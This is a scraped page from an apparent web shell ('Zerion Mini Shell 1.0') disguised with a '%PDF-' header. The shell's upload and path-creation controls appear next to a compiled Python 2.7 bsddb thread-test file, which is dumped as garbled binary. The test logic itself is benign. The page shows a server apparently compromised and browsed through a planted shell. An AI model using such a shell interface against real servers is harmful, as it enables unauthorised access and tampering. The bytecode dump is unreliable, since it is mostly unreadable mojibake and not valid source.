%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/bsddb/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/bsddb/test/test_thread.pyo

ó
Oêáac@sDdZddlZddlZddlZddlZddlmZdZyeWn'ek
r}de	fd„ƒYZnXddl
Z
ddlmZm
Z
mZmZmZmZmZer
ddlmZejd	d
krúddlmZq
ddlmZnd
e
jfd„ƒYZdefd„ƒYZdefd„ƒYZdefd„ƒYZdefd„ƒYZdefd„ƒYZdefd„ƒYZdefd„ƒYZ de fd„ƒYZ!de fd „ƒYZ"d!e fd"„ƒYZ#d#e fd$„ƒYZ$d%„Z%e&d&kr@e
j'd'd(ƒndS()s-TestCases for multi-threaded access to a DB.
iÿÿÿÿN(trandomt-tWindowsErrorcBseZRS((t__name__t
__module__(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRs(tdbtdbutilsttest_supporttverbosethave_threadstget_new_environment_pathtget_new_database_path(tThreadii(t
currentThread(tcurrent_threadtBaseThreadedTestCasecBsGeZejZdZdZdZd„Zd„Z	d„Z
d„ZRS(icCsËtrtjt_ntƒ|_tjƒ|_	|j
ƒ|j	j|j|jtj
Bƒ|jjd|_tj|j	ƒ|_|jr¡|jj|jƒn|jj|j|j|jtj
BƒdS(Ns.db(RtsyststdoutRt_deadlock_VerboseFileR
thomeDirRtDBEnvtenvt
setEnvOptstopentenvflagst	DB_CREATEt	__class__RtfilenametDBtdt
dbsetflagst	set_flagstdbtypetdbopenflags(tself((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pytsetUp&s
 	cCs.|jjƒ|jjƒtj|jƒdS(N(RtcloseRRtrmtreeR(R"((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyttearDown5s

cCsdS(N((R"((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR:scCstj|gdƒS(Ni(tDASHtjoin(R"tkey((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pytmakeData=s(RRRt
DB_UNKNOWNR R!RRR#R&RR*(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR s				tConcurrentDataStoreBasecBsUeZejZejejBejBZdZdZ	dZ
d„Zd„Zd„Z
RS(iièc
	CsQtr%dGddGHd|jjGHnt|jƒ}ddl}|j|ƒ|j|j}|j|j}|j	|j|j|ƒ|j	|j|j|ƒ|j	||dƒg}x{t
|jƒD]j}td|jd|j
|fd	d
|ƒ}tjddkr|jtƒn	t|_|j|ƒqËWg}xŽt
|jƒD]}}|||||d!}	|	jƒ|||||d!}
td|jd|j
|	|
fd	d
|ƒ}|j|ƒqOWxD|D]<}tjddkr|jtƒn	t|_|jƒq×Wx|D]}|jƒqWx|D]}|jƒq9WdS(Ns
s-=is(Running %s.test01_1WriterMultiReaders...iÿÿÿÿittargettargstnames	reader %diis	writer %d(RRRtrangetrecordsRtshuffletwriterstreaderstassertEqualtxrangeRtreaderThreadRRtversion_infot	setDaemontTruetdaemontappendtsorttwriterThreadtstartR((
R"tkeysRtrecords_per_writertreaders_per_writerR4txtrtR3tatbtwttt((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyttest01_1WriterMultiReadersKsN


	


	

c	Cs$tjddkr%tƒjƒ}ntƒj}trLd|ttfGHnt|ƒt|ƒ}|}x‘|D]‰}d|}t	j
|j||j|ƒddƒtrÏ|ddkrÏd|t|fGHn|d	8}|so|j
ƒjƒ|}qoqoWtrd
|GHntr d|GHndS(Niis%s: creating records %d - %ds%04dtmax_retriesiids%s: records %d - %d finishedis%s: finished creating recordss%s: thread finished(RR8R
tgetNameR/RR?tstoptlenRtDeadlockWraptputR*tpop(	R"RR@R4R/tcounttcount2RCR)((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR>}s*



c
Csætjddkr%tƒjƒ}ntƒj}xœtdƒD]Ž}|jƒ}d}|jƒ}xE|r©|d7}|\}}	|j|j	|ƒ|	ƒ|j
ƒ}qeWtrÂd||fGHn|jƒq>Wtrâd|GHndS(Niiiis%s: found %d recordss%s: thread finished(
RR8R
RKR/R6tcursortfirstR5R*tnextRR$(
R"Rt	readerNumR/titcRQtrecR)tdata((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR7šs"	
(RRRt	DB_THREADR!tDB_INIT_CDBt
DB_INIT_MPOOLRR4R3R1RIR>R7(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR,Ds		2	tBTreeConcurrentDataStorecBs#eZejZdZdZdZRS(ii
iè(RRRtDB_BTREER R3R4R1(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR^±s	tHashConcurrentDataStorecBs#eZejZdZdZdZRS(ii
iè(RRRtDB_HASHR R3R4R1(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR`¸s	tSimpleThreadedBasecBs^eZejZejejBejBZdZdZ	dZ
d„Zd„Zd„Z
d„ZRS(i
iiècCs|jjtjƒdS(N(Rt
set_lk_detectRtDB_LOCK_DEFAULT(R"((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRÈsc
	CsQtr%dGddGHd|jjGHnt|jƒ}ddl}|j|ƒ|j|j}|j|j}|j	|j|j|ƒ|j	|j|j|ƒ|j	||dƒg}x{t
|jƒD]j}td|jd|j
|fd	d
|ƒ}tjddkr|jtƒn	t|_|j|ƒqËWg}xŽt
|jƒD]}}|||||d!}	|	jƒ|||||d!}
td|jd|j
|	|
fd	d
|ƒ}|j|ƒqOWxD|D]<}tjddkr|jtƒn	t|_|jƒq×Wx|D]}|jƒqWx|D]}|jƒq9WdS(Ns
s-=is Running %s.test02_SimpleLocks...iÿÿÿÿiR-R.R/s	reader %diis	writer %d(RRRR0R1RR2R3R4R5R6RR7RRR8R9R:R;R<R=R>R?R((
R"R@RRARBR4RCRDR3RERFRGRH((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyttest02_SimpleLocksËsL


	


	

c	Cstjddkr%tƒjƒ}ntƒj}trLd|ttfGHnt|ƒt|ƒ}|}x‘|D]‰}d|}t	j
|j||j|ƒddƒtrÏ|ddkrÏd|t|fGHn|d	8}|so|j
ƒjƒ|}qoqoWtrd
|GHndS(Niis%s: creating records %d - %ds%04dRJiids%s: records %d - %d finishedis%s: thread finished(RR8R
RKR/RR?RLRMRRNROR*RP(	R"RR@R4R/RQRRRCR)((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR>ýs&



c	Csçtjddkr%tƒjƒ}ntƒj}|jƒ}d}tj|jddƒ}xQ|r®|d7}|\}}|j	|j
|ƒ|ƒtj|jddƒ}q^WtrÇd||fGHn|j
ƒtrãd|GHndS(NiiRJi
is%s: found %d recordss%s: thread finished(RR8R
RKR/RSRRNRTR5R*RURR$(	R"RRVR/RXRQRYR)RZ((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR7s 	

(RRRR[R!R]tDB_INIT_LOCKRR4R3R1RReR>R7(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRbÁs			2	tBTreeSimpleThreadedcBseZejZRS((RRRR_R (((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRg-stHashSimpleThreadedcBseZejZRS((RRRRaR (((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRh1stThreadedTransactionsBasecBs‚eZejejBZejejBejBejBej	BZ
dZdZdZ
dZd„Zd„Zd„Zd„Zd„ZRS(iiÐcCsdS(N((R"((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyREsc	Cs¢tr%dGddGHd|jjGHnt|jƒ}ddl}|j|ƒ|j|j}|j|j}|j	|j|j|ƒ|j	|j|j|ƒ|j	||dƒg}x{t
|jƒD]j}td|jd|j
|fd	d
|ƒ}tjddkr|jtƒn	t|_|j|ƒqËWg}x„t
|jƒD]s}|||||d!}	|||||d!}
td|jd|j
|	|
fd	d
|ƒ}|j|ƒqOWtd|jƒ}tjddkrû|jtƒn	t|_|jƒxD|D]<}
tjddkr>|
jtƒn	t|
_|
jƒqWx|D]}
|
jƒq\Wx|D]}
|
jƒqwWt|_|jƒdS(Ns
s-=is)Running %s.test03_ThreadedTransactions...iÿÿÿÿiR-R.R/s	reader %diis	writer %d(RRRR0R1RR2R3R4R5R6RR7RRR8R9R:R;R<R>tdeadlockThreadR?R(tFalsetdoLockDetect(R"R@RRARBR4RCRDR3RERFRGtdtRH((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyttest03_ThreadedTransactionsIsZ


	
	

	

	cCsŒtjddkr%tƒjƒ}ntƒj}t|ƒt|ƒ}x,t|ƒruy¬|jjd|j	ƒ}|| }x_|D]W}d|}	|j
|	|j|	ƒ|ƒtr‚|ddkr‚d|t
|fGHq‚q‚W|jƒ||}|jƒj
ƒWqJtjtjfk
rq}
trdtjdkrKd||
d	fGHqdd||
jd	fGHn|jƒqJXqJWtrˆd
|GHndS(Niis%04dids%s: records %d - %d finishediis%s: Aborting transaction (%s)is%s: thread finished(ii(RR8R
RKR/RMRt	txn_begintNonettxnFlagROR*RR?tcommitRPRtDBLockDeadlockErrortDBLockNotGrantedErrorR.tabort(R"RR@R4R/RQttxntkeys2RCR)tval((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR>„s2




cCs‹tjddkr%tƒjƒ}ntƒj}t}x;|sty·|jjd|j	ƒ}|j
|ƒ}d}|jƒ}xE|rÃ|d7}|\}	}
|j|j
|	ƒ|
ƒ|jƒ}qWtrÜd||fGHn|jƒ|jƒt}Wq:tjtjfk
rp}trYtjd	kr@d||dfGHqYd||jdfGHn|jƒ|jƒq:Xq:Wtr‡d|GHndS(
Niiis%s: found %d recordsiis%s: Aborting transaction (%s)s%s: thread finished(ii(RR8R
RKR/RkRRoRpRqRSRTR5R*RURR$RrR:RRsRtR.Ru(R"RRVR/tfinishedRvRXRQRYR)RZRx((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR7£s<		




cCsxt|_xh|jrstjdƒy7|jjtjtjƒ}t	rX|rXd|GHnWqtj
k
roqXqWdS(Ngš™™™™™©?s.deadlock: Aborted %d deadlocked transaction(s)(R:RlttimetsleepRtlock_detectRtDB_LOCK_RANDOMtDB_LOCK_CONFLICTRtDBError(R"taborted((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRjÆs	
	
(RRRR[tDB_AUTO_COMMITR!R]RftDB_INIT_LOGtDB_INIT_TXNRR4R3R1RqRRnR>R7Rj(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRi8s
		;		#tBTreeThreadedTransactionscBs#eZejZdZdZdZRS(ii
iè(RRRR_R R3R4R1(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR„Ôs	tHashThreadedTransactionscBs#eZejZdZdZdZRS(ii
iè(RRRRaR R3R4R1(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR…Ús	tBTreeThreadedNoWaitTransactionscBs,eZejZdZdZdZejZ	RS(ii
iè(
RRRR_R R3R4R1t
DB_TXN_NOWAITRq(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyR†às
	tHashThreadedNoWaitTransactionscBs,eZejZdZdZdZejZ	RS(ii
iè(
RRRRaR R3R4R1R‡Rq(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyRˆçs
	cCsÎtjƒ}trÅ|jtjtƒƒ|jtjtƒƒ|jtjtƒƒ|jtjtƒƒ|jtjt	ƒƒ|jtjt
ƒƒ|jtjtƒƒ|jtjtƒƒndGH|S(Ns-Threads not available, skipping thread tests.(
tunittestt	TestSuiteR	taddTestt	makeSuiteR^R`RgRhR„R…R†Rˆ(tsuite((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyt
test_suiteñst__main__tdefaultTestRŽ((t__doc__tosRRzterrnoRR'Rt	NameErrort	ExceptionR‰ttest_allRRRRR	R
Rt	threadingRR8R
RtTestCaseRR,R^R`RbRgRhRiR„R…R†RˆRŽRtmain(((s2/usr/local/lib/python2.7/bsddb/test/test_thread.pyt<module>s@
4$m	lœ
	

Zerion Mini Shell 1.0